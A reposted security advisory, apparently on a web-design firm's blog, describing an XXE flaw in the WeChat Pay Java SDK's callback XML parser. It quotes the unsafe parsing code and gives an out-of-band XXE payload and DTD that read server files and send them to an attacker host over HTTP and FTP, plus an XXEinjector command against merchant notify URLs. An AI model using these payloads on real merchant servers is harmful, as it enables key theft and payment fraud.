微信支付SDK存在XXE漏洞

微信支付SDK存在XXE漏洞

漏洞信息来源:
http://seclists.org/fulldisclosure/2018/Jul/3
https://xz.aliyun.com/t/2426

创新互联专注为客户提供全方位的互联网综合服务,包含不限于成都做网站、网站制作、沈丘网络推广、微信小程序、沈丘网络营销、沈丘企业策划、沈丘品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等,从售前售中售后,我们都将竭诚为您服务,您的肯定,是我们最大的嘉奖;创新互联为所有大学生创业者提供沈丘建站搭建服务,24小时服务热线:028-86922220,官方网址:www.cdcxhl.com

0x00受影响版本:

JAVA SDK,WxPayAPI_JAVA_v3,建议使用了该版本的公司进行异常支付排查。
微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,×××者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何信息。一旦×××者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品)

0x01漏洞详情

The SDK  in this page:  https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1
   Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip
    or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

   README.md in  WxPayApi_JAVA_v3.zip,it show more details:

   notify code example:
    [
        String notifyData = "....";
        MyConfig config = new MyConfig();
        WXPay wxpay = new WXPay(config);
//conver to map
        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
        }
        else {
         }

     ]
    WXPayUtil source code
   [

  public static Map<String, String> xmlToMap(String strXML) throws
Exception {
    try {
            Map<String, String> data = new HashMap<String, String>();
            /*** not disabled xxe *****/
            //start parse

            DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
            DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse

            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
                    data.put(element.getNodeName(), element.getTextContent
());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }
    }

]

微信支付SDK存在XXE漏洞

0x02利用细节

Post merchant notification url with payload:
找到商家的notify


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
  <!ENTITY % attack SYSTEM "file:///etc/">
  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
  %xxe;
]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;

or use  XXEinjector tool  【https://github.com/enjoiz/XXEinjector】

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :
POST merchant_notification_url HTTP/1.1
Host:  merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded

XXEINJECT

名称栏目:微信支付SDK存在XXE漏洞
分享网址:https://www.cdcxhl.com/article44/isjihe.html

成都网站建设公司_创新互联,为您提供ChatGPT动态网站App开发做网站自适应网站网站排名

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

成都做网站